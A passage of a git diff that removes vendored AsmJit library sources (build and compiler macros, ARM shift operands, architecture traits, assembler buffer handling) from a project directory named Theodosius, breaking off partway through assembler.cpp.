[asmjit::Build - Globals - Build Architectures Definitions] -// ============================================================================ - -#if !defined(ASMJIT_NO_FOREIGN) - // If 'ASMJIT_NO_FOREIGN' is not defined then all architectures will be built. - #if !defined(ASMJIT_BUILD_X86) - #define ASMJIT_BUILD_X86 - #endif -#else - // Detect architectures to build if building only for the host architecture. - #if ASMJIT_ARCH_X86 && !defined(ASMJIT_BUILD_X86) - #define ASMJIT_BUILD_X86 - #endif -#endif - -// Define 'ASMJIT_BUILD_HOST' if we know that host architecture will be built. -#if !defined(ASMJIT_BUILD_HOST) && ASMJIT_ARCH_X86 && defined(ASMJIT_BUILD_X86) - #define ASMJIT_BUILD_HOST -#endif - -// ============================================================================ -// [asmjit::Build - Globals - C++ Compiler and Features Detection] -// ============================================================================ - -#define ASMJIT_CXX_GNU 0 -#define ASMJIT_CXX_MAKE_VER(MAJOR, MINOR) ((MAJOR) * 1000 + (MINOR)) - -// Intel Compiler [pretends to be GNU or MSC, so it must be checked first]: -// - https://software.intel.com/en-us/articles/c0x-features-supported-by-intel-c-compiler -// - https://software.intel.com/en-us/articles/c14-features-supported-by-intel-c-compiler -// - https://software.intel.com/en-us/articles/c17-features-supported-by-intel-c-compiler -#if defined(__INTEL_COMPILER) - -// MSC Compiler: -// - https://msdn.microsoft.com/en-us/library/hh567368.aspx -// -// Version List: -// - 16.00.0 == VS2010 -// - 17.00.0 == VS2012 -// - 18.00.0 == VS2013 -// - 19.00.0 == VS2015 -// - 19.10.0 == VS2017 -#elif defined(_MSC_VER) && defined(_MSC_FULL_VER) - -// Clang Compiler [Pretends to be GNU, so it must be checked before]: -// - https://clang.llvm.org/cxx_status.html -#elif defined(__clang_major__) && defined(__clang_minor__) && defined(__clang_patchlevel__) - -// GNU Compiler: -// - https://gcc.gnu.org/projects/cxx-status.html -#elif defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__GNUC_PATCHLEVEL__) - - #undef ASMJIT_CXX_GNU - #define ASMJIT_CXX_GNU ASMJIT_CXX_MAKE_VER(__GNUC__, __GNUC_MINOR__) - -#endif - -// Compiler features detection macros. -#if defined(__clang__) && defined(__has_attribute) - #define ASMJIT_CXX_HAS_ATTRIBUTE(NAME, CHECK) (__has_attribute(NAME)) -#else - #define ASMJIT_CXX_HAS_ATTRIBUTE(NAME, CHECK) (!(!(CHECK))) -#endif - -// ============================================================================ -// [asmjit::Build - Globals - API Decorators & Language Extensions] -// ============================================================================ - -// API (Export / Import). -#if !defined(ASMJIT_STATIC) - #if defined(_WIN32) && (defined(_MSC_VER) || defined(__MINGW32__)) - #ifdef ASMJIT_EXPORTS - #define ASMJIT_API __declspec(dllexport) - #else - #define ASMJIT_API /*__declspec(dllimport)*/ - #endif - #elif defined(_WIN32) && defined(__GNUC__) - #ifdef ASMJIT_EXPORTS - #define ASMJIT_API __attribute__((__dllexport__)) - #else - #define ASMJIT_API __attribute__((__dllimport__)) - #endif - #elif defined(__GNUC__) - #define ASMJIT_API __attribute__((__visibility__("default"))) - #endif -#endif - -#if !defined(ASMJIT_API) - #define ASMJIT_API -#endif - -#if !defined(ASMJIT_VARAPI) - #define ASMJIT_VARAPI extern ASMJIT_API -#endif - -// This is basically a workaround. When using MSVC and marking class as DLL -// export everything gets exported, which is unwanted in most projects. MSVC -// automatically exports typeinfo and vtable if at least one symbol of the -// class is exported. However, GCC has some strange behavior that even if -// one or more symbol is exported it doesn't export typeinfo unless the -// class itself is decorated with "visibility(default)" (i.e. ASMJIT_API). -#if !defined(_WIN32) && defined(__GNUC__) - #define ASMJIT_VIRTAPI ASMJIT_API -#else - #define ASMJIT_VIRTAPI -#endif - -// Function attributes. -#if !defined(ASMJIT_BUILD_DEBUG) && defined(__GNUC__) - #define ASMJIT_INLINE inline __attribute__((__always_inline__)) -#elif !defined(ASMJIT_BUILD_DEBUG) && defined(_MSC_VER) - #define ASMJIT_INLINE __forceinline -#else - #define ASMJIT_INLINE inline -#endif - -#if defined(__GNUC__) - #define ASMJIT_NOINLINE __attribute__((__noinline__)) - #define ASMJIT_NORETURN __attribute__((__noreturn__)) -#elif defined(_MSC_VER) - #define ASMJIT_NOINLINE __declspec(noinline) - #define ASMJIT_NORETURN __declspec(noreturn) -#else - #define ASMJIT_NOINLINE - #define ASMJIT_NORETURN -#endif - -// Calling conventions. -#if ASMJIT_ARCH_X86 == 32 && defined(__GNUC__) - #define ASMJIT_CDECL __attribute__((__cdecl__)) - #define ASMJIT_STDCALL __attribute__((__stdcall__)) - #define ASMJIT_FASTCALL __attribute__((__fastcall__)) - #define ASMJIT_REGPARM(N) __attribute__((__regparm__(N))) -#elif ASMJIT_ARCH_X86 == 32 && defined(_MSC_VER) - #define ASMJIT_CDECL __cdecl - #define ASMJIT_STDCALL __stdcall - #define ASMJIT_FASTCALL __fastcall - #define ASMJIT_REGPARM(N) -#else - #define ASMJIT_CDECL - #define ASMJIT_STDCALL - #define ASMJIT_FASTCALL - #define ASMJIT_REGPARM(N) -#endif - -#if ASMJIT_ARCH_X86 && defined(_WIN32) && defined(_MSC_VER) - #define ASMJIT_VECTORCALL __vectorcall -#elif ASMJIT_ARCH_X86 && defined(_WIN32) - #define ASMJIT_VECTORCALL __attribute__((__vectorcall__)) -#else - #define ASMJIT_VECTORCALL -#endif - - -// Type alignment (not allowed by C++11 'alignas' keyword). -#if defined(__GNUC__) - #define ASMJIT_ALIGN_TYPE(TYPE, N) __attribute__((__aligned__(N))) TYPE -#elif defined(_MSC_VER) - #define ASMJIT_ALIGN_TYPE(TYPE, N) __declspec(align(N)) TYPE -#else - #define ASMJIT_ALIGN_TYPE(TYPE, N) TYPE -#endif - -//! \def ASMJIT_MAY_ALIAS -//! -//! Expands to `__attribute__((__may_alias__))` if supported. -#if defined(__GNUC__) - #define ASMJIT_MAY_ALIAS __attribute__((__may_alias__)) -#else - #define ASMJIT_MAY_ALIAS -#endif - -//! \def ASMJIT_LIKELY(...) -//! -//! Condition is likely to be taken (mostly error handling and edge cases). - -//! \def ASMJIT_UNLIKELY(...) -//! -//! Condition is unlikely to be taken (mostly error handling and edge cases). -#if defined(__GNUC__) - #define ASMJIT_LIKELY(...) __builtin_expect(!!(__VA_ARGS__), 1) - #define ASMJIT_UNLIKELY(...) __builtin_expect(!!(__VA_ARGS__), 0) -#else - #define ASMJIT_LIKELY(...) (__VA_ARGS__) - #define ASMJIT_UNLIKELY(...) (__VA_ARGS__) -#endif - -//! \def ASMJIT_FALLTHROUGH -//! -//! Portable [[fallthrough]] attribute. -#if defined(__clang__) && __cplusplus >= 201103L - #define ASMJIT_FALLTHROUGH [[clang::fallthrough]] -#elif defined(__GNUC__) && __GNUC__ >= 7 - #define ASMJIT_FALLTHROUGH __attribute__((__fallthrough__)) -#else - #define ASMJIT_FALLTHROUGH ((void)0) /* fallthrough */ -#endif - -//! \def ASMJIT_DEPRECATED -//! -//! Marks function, class, struct, enum, or anything else as deprecated. -#if defined(__GNUC__) - #define ASMJIT_DEPRECATED(MESSAGE) __attribute__((__deprecated__(MESSAGE))) - #if defined(__clang__) - #define ASMJIT_DEPRECATED_STRUCT(MESSAGE) __attribute__((__deprecated__(MESSAGE))) - #else - #define ASMJIT_DEPRECATED_STRUCT(MESSAGE) /* not usable if a deprecated function uses it */ - #endif -#elif defined(_MSC_VER) - #define ASMJIT_DEPRECATED(MESSAGE) __declspec(deprecated(MESSAGE)) - #define ASMJIT_DEPRECATED_STRUCT(MESSAGE) /* not usable if a deprecated function uses it */ -#else - #define ASMJIT_DEPRECATED(MESSAGE) - #define ASMJIT_DEPRECATED_STRUCT(MESSAGE) -#endif - -// Utilities. -#define ASMJIT_OFFSET_OF(STRUCT, MEMBER) ((int)(intptr_t)((const char*)&((const STRUCT*)0x100)->MEMBER) - 0x100) -#define ASMJIT_ARRAY_SIZE(X) uint32_t(sizeof(X) / sizeof(X[0])) - -#if ASMJIT_CXX_HAS_ATTRIBUTE(no_sanitize, 0) - #define ASMJIT_ATTRIBUTE_NO_SANITIZE_UNDEF __attribute__((__no_sanitize__("undefined"))) -#elif ASMJIT_CXX_GNU >= ASMJIT_CXX_MAKE_VER(4, 9) - #define ASMJIT_ATTRIBUTE_NO_SANITIZE_UNDEF __attribute__((__no_sanitize_undefined__)) -#else - #define ASMJIT_ATTRIBUTE_NO_SANITIZE_UNDEF -#endif - -// ============================================================================ -// [asmjit::Build - Globals - Begin-Namespace / End-Namespace] -// ============================================================================ - -#if defined(__clang__) - #define ASMJIT_BEGIN_NAMESPACE \ - namespace asmjit { \ - _Pragma("clang diagnostic push") \ - _Pragma("clang diagnostic ignored \"-Wconstant-logical-operand\"") \ - _Pragma("clang diagnostic ignored \"-Wunnamed-type-template-args\"") - #define ASMJIT_END_NAMESPACE \ - _Pragma("clang diagnostic pop") \ - } -#elif defined(__GNUC__) && __GNUC__ == 4 - #define ASMJIT_BEGIN_NAMESPACE \ - namespace asmjit { \ - _Pragma("GCC diagnostic push") \ - _Pragma("GCC diagnostic ignored \"-Wmissing-field-initializers\"") - #define ASMJIT_END_NAMESPACE \ - _Pragma("GCC diagnostic pop") \ - } -#elif defined(__GNUC__) && __GNUC__ >= 8 - #define ASMJIT_BEGIN_NAMESPACE \ - namespace asmjit { \ - _Pragma("GCC diagnostic push") \ - _Pragma("GCC diagnostic ignored \"-Wclass-memaccess\"") - #define ASMJIT_END_NAMESPACE \ - _Pragma("GCC diagnostic pop") \ - } -#elif defined(_MSC_VER) && !defined(__INTEL_COMPILER) - #define ASMJIT_BEGIN_NAMESPACE \ - namespace asmjit { \ - __pragma(warning(push)) \ - __pragma(warning(disable: 4127)) /* conditional expression is const */ \ - __pragma(warning(disable: 4201)) /* nameless struct/union */ - #define ASMJIT_END_NAMESPACE \ - __pragma(warning(pop)) \ - } -#endif - -#if !defined(ASMJIT_BEGIN_NAMESPACE) && !defined(ASMJIT_END_NAMESPACE) - #define ASMJIT_BEGIN_NAMESPACE namespace asmjit { - #define ASMJIT_END_NAMESPACE } -#endif - -#define ASMJIT_BEGIN_SUB_NAMESPACE(NAMESPACE) \ - ASMJIT_BEGIN_NAMESPACE \ - namespace NAMESPACE { - -#define ASMJIT_END_SUB_NAMESPACE \ - } \ - ASMJIT_END_NAMESPACE - -// ============================================================================ -// [asmjit::Build - Globals - Utilities] -// ============================================================================ - -#define ASMJIT_NONCOPYABLE(...) \ - private: \ - __VA_ARGS__(const __VA_ARGS__& other) = delete; \ - __VA_ARGS__& operator=(const __VA_ARGS__& other) = delete; \ - public: - -#define ASMJIT_NONCONSTRUCTIBLE(...) \ - private: \ - __VA_ARGS__() = delete; \ - __VA_ARGS__(const __VA_ARGS__& other) = delete; \ - __VA_ARGS__& operator=(const __VA_ARGS__& other) = delete; \ - public: - -// ============================================================================ -// [asmjit::Build - Globals - Cleanup] -// ============================================================================ - -// Cleanup definitions that are only used within this header file. -#undef ASMJIT_CXX_GNU -#undef ASMJIT_CXX_MAKE_VER - -#endif // ASMJIT_CORE_API_CONFIG_H_INCLUDED diff --git a/src/Theodosius/asmjit/core/archcommons.h b/src/Theodosius/asmjit/core/archcommons.h deleted file mode 100644 index fda2451..0000000 --- a/src/Theodosius/asmjit/core/archcommons.h +++ /dev/null @@ -1,164 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#ifndef ASMJIT_CORE_ARCHCOMMONS_H_INCLUDED -#define ASMJIT_CORE_ARCHCOMMONS_H_INCLUDED - -// This file provides architecture-specific classes that are required in the -// core library. For example Imm operand allows to be created from arm::Shift -// in a const-expr way, so the arm::Shift must be provided. So this header -// file provides everything architecture-specific that is used by the Core API. - -#include "../core/globals.h" - -// ============================================================================ -// [asmjit::arm] -// ============================================================================ - -ASMJIT_BEGIN_SUB_NAMESPACE(arm) - -//! \addtogroup asmjit_arm -//! \{ - -//! Represents ARM immediate shift operation type and value. -class Shift { -public: - //! Operation predicate (ARM) describes either SHIFT or EXTEND operation. - //! - //! \note The constants are AsmJit specific. The first 5 values describe real - //! constants on ARM32 and AArch64 hardware, however, the addition constants - //! that describe extend modes are specific to AsmJit and would be translated - //! to the AArch64 specific constants by the assembler. - enum Op : uint32_t { - //! Shift left logical operation (default). - //! - //! Available to all ARM architectures. - kOpLSL = 0x00u, - - //! Shift right logical operation. - //! - //! Available to all ARM architectures. - kOpLSR = 0x01u, - - //! Shift right arithmetic operation. - //! - //! Available to all ARM architectures. - kOpASR = 0x02u, - - //! Rotate right operation. - //! - //! \note Not available in AArch64 mode. - kOpROR = 0x03u, - - //! Rotate right with carry operation (encoded as `kShiftROR` with zero). - //! - //! \note Not available in AArch64 mode. - kOpRRX = 0x04u, - - //! Shift left by filling low order bits with ones. - kOpMSL = 0x05u, - - //! UXTN extend register operation (AArch64 only). - kOpUXTB = 0x06u, - //! UXTH extend register operation (AArch64 only). - kOpUXTH = 0x07u, - //! UXTW extend register operation (AArch64 only). - kOpUXTW = 0x08u, - //! UXTX extend register operation (AArch64 only). - kOpUXTX = 0x09u, - - //! SXTB extend register operation (AArch64 only). - kOpSXTB = 0x0Au, - //! SXTH extend register operation (AArch64 only). - kOpSXTH = 0x0Bu, - //! SXTW extend register operation (AArch64 only). - kOpSXTW = 0x0Cu, - //! SXTX extend register operation (AArch64 only). - kOpSXTX = 0x0Du - - // NOTE: 0xE and 0xF are used by memory operand to specify POST|PRE offset mode. - }; - - //! Shift operation. - uint32_t _op; - //! Shift Value. - uint32_t _value; - - //! Default constructed Shift is not initialized. - inline Shift() noexcept = default; - - //! Copy constructor (default) - constexpr Shift(const Shift& other) noexcept = default; - - //! Constructs Shift from operation `op` and shift `value`. - constexpr Shift(uint32_t op, uint32_t value) noexcept - : _op(op), - _value(value) {} - - //! Returns the shift operation. - constexpr uint32_t op() const noexcept { return _op; } - //! Returns the shift smount. - constexpr uint32_t value() const noexcept { return _value; } - - //! Sets shift operation to `op`. - inline void setOp(uint32_t op) noexcept { _op = op; } - //! Sets shift amount to `value`. - inline void setValue(uint32_t value) noexcept { _value = value; } -}; - -//! Constructs a `LSL #value` shift (logical shift left). -static constexpr Shift lsl(uint32_t value) noexcept { return Shift(Shift::kOpLSL, value); } -//! Constructs a `LSR #value` shift (logical shift right). -static constexpr Shift lsr(uint32_t value) noexcept { return Shift(Shift::kOpLSR, value); } -//! Constructs a `ASR #value` shift (arithmetic shift right). -static constexpr Shift asr(uint32_t value) noexcept { return Shift(Shift::kOpASR, value); } -//! Constructs a `ROR #value` shift (rotate right). -static constexpr Shift ror(uint32_t value) noexcept { return Shift(Shift::kOpROR, value); } -//! Constructs a `RRX` shift (rotate with carry by 1). -static constexpr Shift rrx() noexcept { return Shift(Shift::kOpRRX, 0); } -//! Constructs a `MSL #value` shift (logical shift left filling ones). -static constexpr Shift msl(uint32_t value) noexcept { return Shift(Shift::kOpMSL, value); } - -//! Constructs a `UXTB #value` extend and shift (unsigned byte extend). -static constexpr Shift uxtb(uint32_t value) noexcept { return Shift(Shift::kOpUXTB, value); } -//! Constructs a `UXTH #value` extend and shift (unsigned hword extend). -static constexpr Shift uxth(uint32_t value) noexcept { return Shift(Shift::kOpUXTH, value); } -//! Constructs a `UXTW #value` extend and shift (unsigned word extend). -static constexpr Shift uxtw(uint32_t value) noexcept { return Shift(Shift::kOpUXTW, value); } -//! Constructs a `UXTX #value` extend and shift (unsigned dword extend). -static constexpr Shift uxtx(uint32_t value) noexcept { return Shift(Shift::kOpUXTX, value); } - -//! Constructs a `SXTB #value` extend and shift (signed byte extend). -static constexpr Shift sxtb(uint32_t value) noexcept { return Shift(Shift::kOpSXTB, value); } -//! Constructs a `SXTH #value` extend and shift (signed hword extend). -static constexpr Shift sxth(uint32_t value) noexcept { return Shift(Shift::kOpSXTH, value); } -//! Constructs a `SXTW #value` extend and shift (signed word extend). -static constexpr Shift sxtw(uint32_t value) noexcept { return Shift(Shift::kOpSXTW, value); } -//! Constructs a `SXTX #value` extend and shift (signed dword extend). -static constexpr Shift sxtx(uint32_t value) noexcept { return Shift(Shift::kOpSXTX, value); } - -//! \} - -ASMJIT_END_SUB_NAMESPACE - -#endif // ASMJIT_CORE_ARCHCOMMONS_H_INCLUDED diff --git a/src/Theodosius/asmjit/core/archtraits.cpp b/src/Theodosius/asmjit/core/archtraits.cpp deleted file mode 100644 index f069354..0000000 --- a/src/Theodosius/asmjit/core/archtraits.cpp +++ /dev/null @@ -1,155 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#include "../core/api-build_p.h" -#include "../core/archtraits.h" -#include "../core/misc_p.h" - -#ifdef ASMJIT_BUILD_X86 - #include "../x86/x86archtraits_p.h" -#endif - -#ifdef ASMJIT_BUILD_ARM - #include "../arm/armarchtraits_p.h" -#endif - -ASMJIT_BEGIN_NAMESPACE - -// ============================================================================ -// [asmjit::ArchTraits] -// ============================================================================ - -static const constexpr ArchTraits noArchTraits = { - 0xFF, // SP. - 0xFF, // FP. - 0xFF, // LR. - 0xFF, // PC. - { 0, 0, 0 }, // Reserved. - 0, // HW stack alignment. - 0, // Min stack offset. - 0, // Max stack offset. - { 0, 0, 0, 0}, // ISA features [Gp, Vec, Other0, Other1]. - { { 0 } }, // RegTypeToSignature. - { 0 }, // RegTypeToTypeId. - { 0 } // TypeIdToRegType. -}; - -ASMJIT_VARAPI const ArchTraits _archTraits[Environment::kArchCount] = { - // No architecture. - noArchTraits, - - // X86/X86 architectures. -#ifdef ASMJIT_BUILD_X86 - x86::x86ArchTraits, - x86::x64ArchTraits, -#else - noArchTraits, - noArchTraits, -#endif - - // RISCV32/RISCV64 architectures. - noArchTraits, - noArchTraits, - - // ARM architecture - noArchTraits, - - // AArch64 architecture. -#ifdef ASMJIT_BUILD_ARM - arm::a64ArchTraits, -#else - noArchTraits, -#endif - - // ARM/Thumb architecture. - noArchTraits, - - // Reserved. - noArchTraits, - - // MIPS32/MIPS64 - noArchTraits, - noArchTraits -}; - -// ============================================================================ -// [asmjit::ArchUtils] -// ============================================================================ - -ASMJIT_FAVOR_SIZE Error ArchUtils::typeIdToRegInfo(uint32_t arch, uint32_t typeId, uint32_t* typeIdOut, RegInfo* regInfoOut) noexcept { - const ArchTraits& archTraits = ArchTraits::byArch(arch); - - // Passed RegType instead of TypeId? - if (typeId <= BaseReg::kTypeMax) - typeId = archTraits.regTypeToTypeId(typeId); - - if (ASMJIT_UNLIKELY(!Type::isValid(typeId))) - return DebugUtils::errored(kErrorInvalidTypeId); - - // First normalize architecture dependent types. - if (Type::isAbstract(typeId)) { - bool is32Bit = Environment::is32Bit(arch); - if (typeId == Type::kIdIntPtr) - typeId = is32Bit ? Type::kIdI32 : Type::kIdI64; - else - typeId = is32Bit ? Type::kIdU32 : Type::kIdU64; - } - - // Type size helps to construct all groups of registers. - // TypeId is invalid if the size is zero. - uint32_t size = Type::sizeOf(typeId); - if (ASMJIT_UNLIKELY(!size)) - return DebugUtils::errored(kErrorInvalidTypeId); - - if (ASMJIT_UNLIKELY(typeId == Type::kIdF80)) - return DebugUtils::errored(kErrorInvalidUseOfF80); - - uint32_t regType = 0; - if (typeId >= Type::_kIdBaseStart && typeId < Type::_kIdVec32Start) { - regType = archTraits._typeIdToRegType[typeId - Type::_kIdBaseStart]; - if (!regType) { - if (typeId == Type::kIdI64 || typeId == Type::kIdU64) - return DebugUtils::errored(kErrorInvalidUseOfGpq); - else - return DebugUtils::errored(kErrorInvalidTypeId); - } - } - else { - if (size <= 8 && archTraits._regInfo[BaseReg::kTypeVec64].isValid()) - regType = BaseReg::kTypeVec64; - else if (size <= 16 && archTraits._regInfo[BaseReg::kTypeVec128].isValid()) - regType = BaseReg::kTypeVec128; - else if (size == 32 && archTraits._regInfo[BaseReg::kTypeVec256].isValid()) - regType = BaseReg::kTypeVec256; - else if (archTraits._regInfo[BaseReg::kTypeVec512].isValid()) - regType = BaseReg::kTypeVec512; - else - return DebugUtils::errored(kErrorInvalidTypeId); - } - - *typeIdOut = typeId; - regInfoOut->reset(archTraits.regTypeToSignature(regType)); - return kErrorOk; -} - -ASMJIT_END_NAMESPACE diff --git a/src/Theodosius/asmjit/core/archtraits.h b/src/Theodosius/asmjit/core/archtraits.h deleted file mode 100644 index 5af6c7e..0000000 --- a/src/Theodosius/asmjit/core/archtraits.h +++ /dev/null @@ -1,174 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#ifndef ASMJIT_CORE_ARCHTRAITS_H_INCLUDED -#define ASMJIT_CORE_ARCHTRAITS_H_INCLUDED - -#include "../core/environment.h" -#include "../core/operand.h" -#include "../core/type.h" - -ASMJIT_BEGIN_NAMESPACE - -//! \addtogroup asmjit_core -//! \{ - -// ============================================================================ -// [asmjit::ArchTraits] -// ============================================================================ - -//! Architecture traits used by Function API and Compiler's register allocator. -struct ArchTraits { - //! ISA features for each register group. - enum IsaFeatures : uint32_t { - //! ISA features a register swap by using a single instruction. - kIsaFeatureSwap = 0x01u, - //! ISA features a push/pop like instruction for this register group. - kIsaFeaturePushPop = 0x02u, - }; - - //! Stack pointer register id. - uint8_t _spRegId; - //! Frame pointer register id. - uint8_t _fpRegId; - //! Link register id. - uint8_t _linkRegId; - //! Instruction pointer (or program counter) register id, if accessible. - uint8_t _ipRegId; - - // Reserved. - uint8_t _reserved[3]; - //! Hardware stack alignment requirement. - uint8_t _hwStackAlignment; - //! Minimum addressable offset on stack guaranteed for all instructions. - uint32_t _minStackOffset; - //! Maximum addressable offset on stack depending on specific instruction. - uint32_t _maxStackOffset; - - //! Flags for each virtual register group (always covers GP and Vec groups). - uint8_t _isaFlags[BaseReg::kGroupVirt]; - - //! Maps register type into a signature, that provides group, size and can - //! be used to construct register operands. - RegInfo _regInfo[BaseReg::kTypeMax + 1]; - //! Maps a register to type-id, see \ref Type::Id. - uint8_t _regTypeToTypeId[BaseReg::kTypeMax + 1]; - //! Maps base TypeId values (from TypeId::_kIdBaseStart) to register types, see \ref Type::Id. - uint8_t _typeIdToRegType[32]; - - //! Resets all members to zeros. - inline void reset() noexcept { memset(this, 0, sizeof(*this)); } - - //! \name Accessors - //! \{ - - //! Returns stack pointer register id. - inline constexpr uint32_t spRegId() const noexcept { return _spRegId; } - //! Returns stack frame register id. - inline constexpr uint32_t fpRegId() const noexcept { return _fpRegId; } - //! Returns link register id, if the architecture provides it. - inline constexpr uint32_t linkRegId() const noexcept { return _linkRegId; } - //! Returns instruction pointer register id, if the architecture provides it. - inline constexpr uint32_t ipRegId() const noexcept { return _ipRegId; } - - //! Returns a hardware stack alignment requirement. - //! - //! \note This is a hardware constraint. Architectures that don't constrain - //! it would return the lowest alignment (1), however, some architectures may - //! constrain the alignment, for example AArch64 requires 16-byte alignment. - inline constexpr uint32_t hwStackAlignment() const noexcept { return _hwStackAlignment; } - - //! Tests whether the architecture provides link register, which is used across - //! function calls. If the link register is not provided then a function call - //! pushes the return address on stack (X86/X64). - inline constexpr bool hasLinkReg() const noexcept { return _linkRegId != BaseReg::kIdBad; } - - //! Returns minimum addressable offset on stack guaranteed for all instructions. - inline constexpr uint32_t minStackOffset() const noexcept { return _minStackOffset; } - //! Returns maximum addressable offset on stack depending on specific instruction. - inline constexpr uint32_t maxStackOffset() const noexcept { return _maxStackOffset; } - - //! Returns ISA flags of the given register `group`. - inline constexpr uint32_t isaFlags(uint32_t group) const noexcept { return _isaFlags[group]; } - //! Tests whether the given register `group` has the given `flag` set. - inline constexpr bool hasIsaFlag(uint32_t group, uint32_t flag) const noexcept { return (_isaFlags[group] & flag) != 0; } - //! Tests whether the ISA provides register swap instruction for the given register `group`. - inline constexpr bool hasSwap(uint32_t group) const noexcept { return hasIsaFlag(group, kIsaFeatureSwap); } - //! Tests whether the ISA provides push/pop instructions for the given register `group`. - inline constexpr bool hasPushPop(uint32_t group) const noexcept { return hasIsaFlag(group, kIsaFeaturePushPop); } - - inline uint32_t hasRegType(uint32_t rType) const noexcept { - return rType <= BaseReg::kTypeMax && _regInfo[rType].signature() != 0; - } - - inline uint32_t regTypeToSignature(uint32_t rType) const noexcept { - ASMJIT_ASSERT(rType <= BaseReg::kTypeMax); - return _regInfo[rType].signature(); - } - - inline uint32_t regTypeToGroup(uint32_t rType) const noexcept { - ASMJIT_ASSERT(rType <= BaseReg::kTypeMax); - return _regInfo[rType].group(); - } - - inline uint32_t regTypeToSize(uint32_t rType) const noexcept { - ASMJIT_ASSERT(rType <= BaseReg::kTypeMax); - return _regInfo[rType].size(); - } - - inline uint32_t regTypeToTypeId(uint32_t rType) const noexcept { - ASMJIT_ASSERT(rType <= BaseReg::kTypeMax); - return _regTypeToTypeId[rType]; - } - - //! \} - - //! \name Statics - //! \{ - - //! Returns a const reference to `ArchTraits` for the given architecture `arch`. - static inline const ArchTraits& byArch(uint32_t arch) noexcept; - - //! \} -}; - -ASMJIT_VARAPI const ArchTraits _archTraits[Environment::kArchCount]; - -inline const ArchTraits& ArchTraits::byArch(uint32_t arch) noexcept { return _archTraits[arch & ~Environment::kArchBigEndianMask]; } - -// ============================================================================ -// [asmjit::ArchUtils] -// ============================================================================ - -//! Architecture utilities. -namespace ArchUtils { - -ASMJIT_API Error typeIdToRegInfo(uint32_t arch, uint32_t typeId, uint32_t* typeIdOut, RegInfo* regInfo) noexcept; - -} // {ArchUtils} - -//! \} - -ASMJIT_END_NAMESPACE - -#endif // ASMJIT_CORE_ARCHTRAITS_H_INCLUDED diff --git a/src/Theodosius/asmjit/core/assembler.cpp b/src/Theodosius/asmjit/core/assembler.cpp deleted file mode 100644 index c0cbf0f..0000000 --- a/src/Theodosius/asmjit/core/assembler.cpp +++ /dev/null @@ -1,409 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#include "../core/api-build_p.h" -#include "../core/assembler.h" -#include "../core/codewriter_p.h" -#include "../core/constpool.h" -#include "../core/emitterutils_p.h" -#include "../core/formatter.h" -#include "../core/logger.h" -#include "../core/support.h" - -ASMJIT_BEGIN_NAMESPACE - -// ============================================================================ -// [asmjit::BaseAssembler - Construction / Destruction] -// ============================================================================ - -BaseAssembler::BaseAssembler() noexcept - : BaseEmitter(kTypeAssembler) {} - -BaseAssembler::~BaseAssembler() noexcept {} - -// ============================================================================ -// [asmjit::BaseAssembler - Buffer Management] -// ============================================================================ - -Error BaseAssembler::setOffset(size_t offset) { - if (ASMJIT_UNLIKELY(!_code)) - return reportError(DebugUtils::errored(kErrorNotInitialized)); - - size_t size = Support::max(_section->bufferSize(), this->offset()); - if (ASMJIT_UNLIKELY(offset > size)) - return reportError(DebugUtils::errored(kErrorInvalidArgument)); - - _bufferPtr = _bufferData + offset; - return kErrorOk; -} - -// ============================================================================ -// [asmjit::BaseAssembler - Section Management] -// ============================================================================ - -static void BaseAssembler_initSection(BaseAssembler* self, Section* section) noexcept { - uint8_t* p = section->_buffer._data; - - self->_section = section; - self->_bufferData = p; - self->_bufferPtr = p + section->_buffer._size; - self->_bufferEnd = p + section->_buffer._capacity; -} - -Error BaseAssembler::section(Section* section) { - if (ASMJIT_UNLIKELY(!_code)) - return reportError(DebugUtils::errored(kErrorNotInitialized)); - - if (!_code->isSectionValid(section->id()) || _code->_sections[section->id()] != section) - return reportError(DebugUtils::errored(kErrorInvalidSection)); - -#ifndef ASMJIT_NO_LOGGING - if (_logger) - _logger->logf(".section %s 